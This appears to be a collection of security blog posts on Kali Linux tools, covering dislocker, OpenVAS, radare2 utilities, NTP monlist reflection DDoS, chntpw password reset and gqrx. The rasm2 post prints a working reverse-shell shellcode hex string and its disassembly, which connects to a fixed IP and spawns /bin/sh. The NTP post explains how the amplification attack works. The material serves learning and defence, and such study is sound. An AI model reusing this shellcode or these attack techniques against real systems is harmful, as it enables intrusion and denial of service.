Using dislocker to mount BitLocker encrypted devices on Linux

dislocker is a free utility, which can be used to mount BitLocker encrypted volumes on Linux. Here is a quick guide how to use it. I installed it on Kali Linux, but it can be installed anywhere.

To download the application visit:
http://www.hsc.fr/ressources/outils/dislocker/download/
http://www.hsc.fr/ressources/outils/dislocker/download/dislocker.tar.gz

Once downloaded extract the file:

root@kali:~# tar -xvf dislocker.tar.gz 

We have to options for comiling: w/ or w/o FUSE. Basically if we use FUSE we will be able to mount it, and browse it, if not, then the only way to check the contents is to decrypt the full drive, which is not that efficient. So let's go for FUSE here. Edit the Makefile, and set __RUN_FUSE to 1 and __RUN_FILE to 0:

dislocker/src/Makefile

# Choose between one of them (done automatically by using `make fuse' or `make file')
__RUN_FUSE = 1

Then compile the app:

root@kali:~/dislocker/src# make
gcc -Wall -Werror -Wextra -Wconversion -DPROGNAME=\"dislocker\" -DVERSION=\"0.3\" -D_FILE_OFFSET_BITS=64 -I/usr/include -I. -L/usr/lib64 -D__ARCH_X86_64 -D__RUN_FUSE -DFUSE_USE_VERSION=26 -c -o outputs/fuse/fuse.o outputs/fuse/fuse.c
In file included from ./dislocker.h:28:0,
                 from outputs/fuse/fuse.c:33:
./outputs/fuse/fuse.h:32:19: fatal error: fuse.h: No such file or directory
compilation terminated.
make: *** [outputs/fuse/fuse.o] Error 1

If you get the error above you will need the FUSE header files, to install those run:

apt-get install libfuse-dev

and then compile dislocker, it should be good now.

root@kali:~/dislocker/src# make
root@kali:~/dislocker/src# make install

Once it's installed let's the help:

For decryption you can use the recovery key (decryption key), the user supplied password or the bekfile.

I created a VHD test image for this, here are the details:

root@kali:~# fdisk -l

Disk /dev/sdb: 104 MB, 104857600 bytes
255 heads, 63 sectors/track, 12 cylinders, total 204800 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x6fa418dc

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1             128      198783       99328    7  HPFS/NTFS/exFAT

I will need to decrypt /dev/sdb1. First I will try it using the decryption keys. The steps are to read the volume, and then mount it with fuse. When we first read in the volume (decrypt) we will get a single file, called "dislocker-file", which can be mounted later. There is a single file on my test drive.

root@kali:~# dislocker -v -V /dev/sdb1 -p275374-090651-082764-392205-130460-581966-062942-402083 -- /mnt/tmp
root@kali:~# ls /mnt/tmp/
dislocker-file
root@kali:~# mount -o loop,ro /mnt/tmp/dislocker-file /mnt/dis
root@kali:~# ls /mnt/dis/
my super secret file.txt.txt  $RECYCLE.BIN  System Volume Information
root@kali:~# cat /mnt/dis/my\ super\ secret\ file.txt.txt 
You got it!

The process is very similar if we use the actual password, which is "password" in this case.

root@kali:~# dislocker -v -V /dev/sdb1 -upassword -- /mnt/tmp2root@kali:~# mount -o loop,ro /mnt/tmp/dislocker-file /mnt/dis2
root@kali:~# ls /mnt/dis2/
my super secret file.txt.txt  $RECYCLE.BIN  System Volume Information
root@kali:~# cat /mnt/dis2/my\ super\ secret\ file.txt.txt 
You got it!

Kali - OpenVAS - Basic usage

OpenVAS is a very powerful vulnerability scanner, management tool. It's updated daily with feeds, so called Network Vulnerability Tests (NVTs), which are defining the various vulnerabilities and used at scanning. Right now it's about 36k NVTs.

This is just a very quick intro on how to use OpenVAS on Kali Linux. For the test I used the Kioptrix 2014 VM.

Menu: Vulnerability Analysis -> OpenVAS

To start with we need to run the "openvas initial setup". This will take a couple of minutes to run, once it will ask for defining the "admin" password, I set it to be "toor" - just to not to forget :) I had to rerun it couple of time, to get it successful. We can verify the setup with the "openvas check setup". I only got the following error even after setup:

ERROR: No OpenVAS SCAP database found. (Tried: /var/lib/openvas/scap-data/scap.db)

FIX: Run a SCAP synchronization script like openvas-scapdata-sync or greenbone-scapdata-sync.

But the advise on the FIX solved it. After setup openvas will be started already, so if we try to start it again with "openvas start" we will get an error.

The "openvas feed update" will update the NVTs.

To start using the application, run "openvas-gsd", which is the GUI front end for the app (gsd: Greenbone Security Desktop). We will be asked for the login as seen below. Here you give the password specified during installation, the user is admin.

Once it's loaded we can go to the Target tab at the bottom to define the machine we want to test. We also need to select the ports to test against, if we want our custom list we can define it at the "Port List" tab.

We will see the newly added target:

After that we can go to the Tasks tab, and can create a new task, which will be the actual scan. We can define the target, and a few other options, if any of the offered one are not good for us, we can create our own, at the specific tab at the bottom (Escalators, Schedules, Slaves, Scan Configs).

Once the task is created we need to press the run button to actually start it. We can track the progress with pressing the refresh button. Even a full and deep scan should finish in 5-10 minutes, it's pretty fast.

During the scan the report is already available, and it will be updated periodically, once it's finished we can export it to several formats, and it does a really great job with formatting. I tried PDF and it was awesome.

You can download the software from here: http://www.openvas.org/

radare2 reverse engineering framework: rax2

rax2 utility comes along with the radare2 framework, and it's a simple conversion utility, it can convert between binary, decimal, hex, string, etc... You can find examples in the help menu for each option:

root@kali:~# rax2 -h
Usage: rax2 [options] [expression]
  int   ->  hex           ;  rax2 10
  hex   ->  int           ;  rax2 0xa
  -int  ->  hex           ;  rax2 -77
  -hex  ->  int           ;  rax2 0xffffffb3
  int   ->  bin           ;  rax2 b30
  bin   ->  int           ;  rax2 1010d
  float ->  hex           ;  rax2 3.33f
  hex   ->  float         ;  rax2 Fx40551ed8
  oct   ->  hex           ;  rax2 35o
  hex   ->  oct           ;  rax2 Ox12 (O is a letter)
  bin   ->  hex           ;  rax2 1100011b
  hex   ->  bin           ;  rax2 Bx63
  -e    swap endianness   ;  rax2 -e 0x33
  -b    binstr -> bin     ;  rax2 -b 01000101 01110110
  -s    hexstr -> bin     ;  rax2 -s 43 4a 50
  -S    bin -> hexstr     ;  rax2 -S C  J  P
  -v    version           ;  rax2 -V
  -x    hash string       ;  rax2 -x linux osx
  -k    keep base         ;  rax2 -k 33+3 -> 36
  -h    help              ;  rax2 -h

E.g.:

root@kali:~# rax2 0x33
51
root@kali:~# rax2 Fx33
51.000000f
root@kali:~# rax2 -b 01000101 01110110
Ev
root@kali:~# rax2 -s 43 4a 50
CJP
root@kali:~#

radare2 reverse engineering framework: rasm2

radare and the new radare2 are an open source reverse engineering framework, which can be found here:

http://radare.org/y/

It has quite a few tools, and the webpage has excellent documentation, which is pretty good. In this post I want to review the "rasm2" assembler / disassembler utility, which is one of the main tools in the package. It can work on hex streams, files, opcodes, etc... quite a few options, as we can see from the help:

root@kali:~# rasm2 -h
rasm2 [-e] [-o offset] [-a arch] [-s syntax] -d "opcode"|"hexpairs"|- [-f file ..]
 -d           Disassemble from hexpair bytes
 -D           Disassemble showing hexpair and opcode
 -f           Read data from file
 -F [in:out]  Specify input and/or output filters (att2intel, x86.pseudo, ...)
 -o [offset]  Set start address for code (0x08048000)
 -a [arch]    Set architecture plugin
 -b [bits]    Set architecture bits
 -s [syntax]  Select syntax (intel, att)
 -B           Binary input/output (-l is mandatory for binary input)
 -l [int]     Input/Output length
 -C           Output in C format
 -L           List supported asm plugins
 -e           Use big endian
 -v           Show version information
 If '-l' value is greater than output length, output is padded with nops
 If the last argument is '-' reads from stdin

Here are just a few random disassemble examples:

root@kali:~# rasm2 -d 90

nop

root@kali:~# rasm2 -d 53

push ebx

root@kali:~# rasm2 -d 44

inc esp

We can also reverse it:

root@kali:~# rasm2 "nop"

90

root@kali:~# rasm2 "nop;inc esp;push ebx"

904453

It supports quite a few formats:

root@kali:~# rasm2 -L

ad  arm       ARM disassembly plugin

ad  armthumb  ARM THUMB disassembly plugin

_d  avr       AVR Atmel disassembler

ad  bf        Brainfuck disassembly plugin

_d  csr       CSR disassembly plugin

ad  dalvik    Dalvik (Android VM) disassembly plugin

ad  java      Java CLASS assembler/disassembler

_d  mips      MIPS disassembly plugin

_d  msil      MSIL disassembly plugin

_d  ppc       PPC disassembly plugin

_d  sh        SH-4 disassembly plugin

_d  sparc     SPARC disassembly plugin

_d  x86       udis86 disassembly plugin

a_  x86.nz    x86 assembler with non-zeros

ad  x86.olly  X86 disassembly plugin (olly engine)

It's very useful for shellcode analysis. I took the following as an example:

http://www.exploit-db.com/exploits/25497/

Although the assembly is on the site, but rasm2 can also show it nicely:

root@kali:~# rasm2 -d 31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268c0a8010a66687a696653fec389e16a10515689e1cd8031c9b103fec9b03fcd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80

xor eax, eax

xor ebx, ebx

xor ecx, ecx

xor edx, edx

mov al, 0x66

mov bl, 0x1

push ecx

push 0x6

push 0x1

push 0x2

mov ecx, esp

int 0x80

mov esi, eax

mov al, 0x66

xor ebx, ebx

mov bl, 0x2

push dword 0xa01a8c0

push word 0x697a

push bx

inc bl

mov ecx, esp

push 0x10

push ecx

push esi

mov ecx, esp

int 0x80

xor ecx, ecx

mov cl, 0x3

dec cl

mov al, 0x3f

int 0x80

jnz 0x804803a

xor eax, eax

push edx

push dword 0x68732f6e

push dword 0x69622f2f

mov ebx, esp

push edx

push ebx

mov ecx, esp

push edx

mov edx, esp

mov al, 0xb

int 0x80

We can also specify an offset if we now where the given command will be in memory:

root@kali:~# rasm2 -o 0x8048060 "call 0x09080706"

e8a1860301

root@kali:~# rasm2 -o 0x8048060 -d e8a1860301

call dword 0x9080706

NTP reflection DDoS attacks

At the end of 2013 there were several NTP reflection DDoS attacks. Let's see what are these, and how they work. A reflection DDoS attack in general looks like the following:

1. Attacker spoofs victim IP address, and generates lots of small request to a service (in this case NTP, but there are similar methods for DNS)

2. The server receives the request, and will generate a much larger answer (because of the request type)

This allows the attacker to have low bandwidth only, and can easily overload a much larger pipe, because of a much larger answer. If we add that multiple attackers can generate this traffic (e.g.: botnet) then we have a DDoS. How it looks in the NTP case:

1. Attacker spoofs the IP and sends a MON_GETLIST_1 command to the server. (In the screenshots below I just query my own NTP server to show the packets, and don't do any spoofing)

 

2. The server responds with the last 600(!!!) IP address who have connected to the server.

 
The specific NTP vulnerability is documented under: CVE-2013-5211

To show it, and get the above capture I started a NTP server on my Kali Linux:

root@kali:~# service ntp start
[ ok ] Starting NTP server: ntpd.

We can then query the list either with a single command:

root@kali:~# ntpdc -c monlist 127.0.0.1
remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
bolha.lvs.iif.hu         123 192.168.1.10           3 4 4    1d0      1       0
login-vlan87.budapest.   123 192.168.1.10           4 4 4    1d0      1       0
bart.nexellent.net       123 192.168.1.10           3 4 4    1d0      1       1
194.38.104.240           123 192.168.1.10           4 4 4    1d0      1       1

or with using NMAP's ntp-monlist NSE script:

root@kali:~# nmap -sU -p 123 --script=ntp-monlist.nse 127.0.0.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-06 22:07 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00021s latency).
PORT    STATE SERVICE
123/udp open  ntp
| ntp-monlist:
|   Target is synchronised with 193.224.65.146
|   Alternative Target Interfaces:
|       192.168.1.10   
|   Public Servers (4)
|       193.224.65.146  193.225.14.181  194.38.104.240  217.147.223.78 
|   Private Clients (1)
|_      127.0.0.1      

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

I uploaded the packet captures to the blog's "Packet Capture" page.

How we can secure our NTP server?

1. Update NTP server version to 4.2.7.p26 or later
2. Add "disable monitor" to the /etc/ntp.conf file

Once it's done, we will see the following responses:

root@kali:~# nmap -sU -p 123 --script=ntp-monlist.nse 127.0.0.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-06 22:45 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00018s latency).
PORT    STATE SERVICE
123/udp open  ntp

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
root@kali:~# ntpdc -c monlist 127.0.0.1
***Server reports data not found
root@kali:~#

Kali Forensics: rahash2

Menu: Forensics -> Hashing Tools
Directory: N/A
Official website: https://github.com/radare/radare2
License: GPL 2/3

rahash2 is another hashing tool in the distribution, it's part of the radare2 malware reverse engineering toolkit. The unique thing about this application, is that it's capable hash only part of a file, or blocks of a file. It supports the following hashes: md4, md5, sha1, sha256, sha384, sha512, crc16, crc32, xor, xorpair, parity, mod255, hamdist, entropy, pcprint

Let's see it in action:

We can do regular hashes with specifying the algorithm (by default it's SHA-1), as with any other hashing tool:

root@kali:~# rahash2 -a sha1 radare2-master.zip
0x00000000-0x0036e170 sha1: 980fd175cc48b18707c92b9fbb05b4c33f88282c
 
root@kali:~# rahash2 -a md5 radare2-master.zip
0x00000000-0x0036e170 md5: 43cef41da5239d0a24d7d8497810c1d6

To calculate hashes of smaller blocks, we need to specify the blocksize (-b) and need to instruct to show per-block hashes (-B); if we forget this it will show only the full file hash, regardless of the block size.

root@kali:~# rahash2 -b 0x100000 -B radare2-master.zip
0x00000000-0x00100000 md5: 0409937fa5b8b4a9f86699ec690c91e9
0x00100000-0x00200000 md5: 05415f5dc59d38838db5bba658c4f695
0x00200000-0x00300000 md5: 81086380efabe5889e5fb9f2ca47c605
0x00300000-0x00400000 md5: 1b15a320dc9721aa5955300a434b8778
0x00000000-0x00100000 sha1: 1a50ae2df3f64f3b8c9a7669cbdafd308dc2b586
0x00100000-0x00200000 sha1: 2b7a3a1b63ed09feaf65197cef44397276463e80
0x00200000-0x00300000 sha1: 774f15a66c8b507e737818fa2cbe1110f71b4cf4
0x00300000-0x00400000 sha1: dfa5632239204ee50982ab870d2a7e0d4f058a1f

If we want we can calculate hashes only of a sub-portion of the file, with specifying the from (-f) and to (-t) options.

root@kali:~# rahash2 -b 0x100000 -B -f 0x100000 -t 0x200000 radare2-master.zip
0x00100000-0x00200000 md5: 05415f5dc59d38838db5bba658c4f695
0x00100000-0x00200000 sha1: 2b7a3a1b63ed09feaf65197cef44397276463e80

Kali Forensics: chntpw

Menu: Forensics -> Password Forensics Tools
Directory: N/A
Official website: http://pogostick.net/~pnh/ntpasswd/
License: GPL 2

As Kali Linux is out, I will continue to explore the available forensics tools coming with the distribution, which was not available in Backtrack. I will use the application menu as a basis.

The first tool is "chntpw", which is not strictly a forensic tool. This is basically a password reset utility for Windows. you need to shut down the Windows machine, boot in from a CD which has chntpw installed (e.g.: Kali) and use this on the SAM / system hives. The tool also offers setting a new password or editing the registry.

Here is in example:

The help is available via the usual "-h" option:

I have a sample SAM and system file from a Hungarian Windows XP. We can list the users with:

chntpw -l SAM system

As we can see it will list the available users and some other options, like lock status and if the actual account is administrator or not.

If we know which to reset, we can run:

chntpw -u Csabi

and it will offer us various options (reset password, set new, etc...) as you can see on the screenshot below.

We can also run the tool in full interactive mode with the "-i" option.

SRD with Kali: gqrx

gqrx is a software defined radio receiver for Linux. It offers the following features:

• Discover devices attached to the computer.
• Process I/Q data from the supported devices.
• Change frequency, gain and apply various corrections (frequency, I/Q balance).
• AM, SSB, FM-N and FM-W (mono and stereo) demodulators.
• Special FM mode for NOAA APT.
• Variable band pass filter.
• AGC, squelch and noise blankers.
• FFT plot and waterfall.
• Record and playback audio to / from WAV file.
• Spectrum analyzer mode where all signal processing is disabled.

I tried it for listening to FM radio again, similar to the tool I used in Windows. We can start it from the command line with "gqrx" or by selecting it from the menu.

I tuned to one of the local radio stations, and it plays fine.

I'm not a radio amateur guy, so just experimenting so far. This is a very good blog for SDR:

http://www.rtl-sdr.com/

Kali Linux Officially Released!!

Kali Linux Officialy released:

http://kali.org/

Backtrack transforms to Kali Linux

For bit more than two weeks now, I was expecting this kind of news, actually I waited for the announcement of either Backtrack 6 or Backtrack 5 R4, but this is a little bit more. Backtrack is undergoing a lot of changes in the background (on its structure and development), and it will reborn as Kali. I wonder where the name Kali is coming from...

The Offensive Security training won't be affected too much, as the user experience should remain the same, and a new version (4?) of PWB is expected to be released within 6 months.

I'm really interested about that, can't wait to see it and try it :-)

Check the articles:

http://www.backtrack-linux.org/backtrack/kali-a-teaser-into-the-future/

http://www.offensive-security.com/offsec/backtrack-reborn-kali-linux/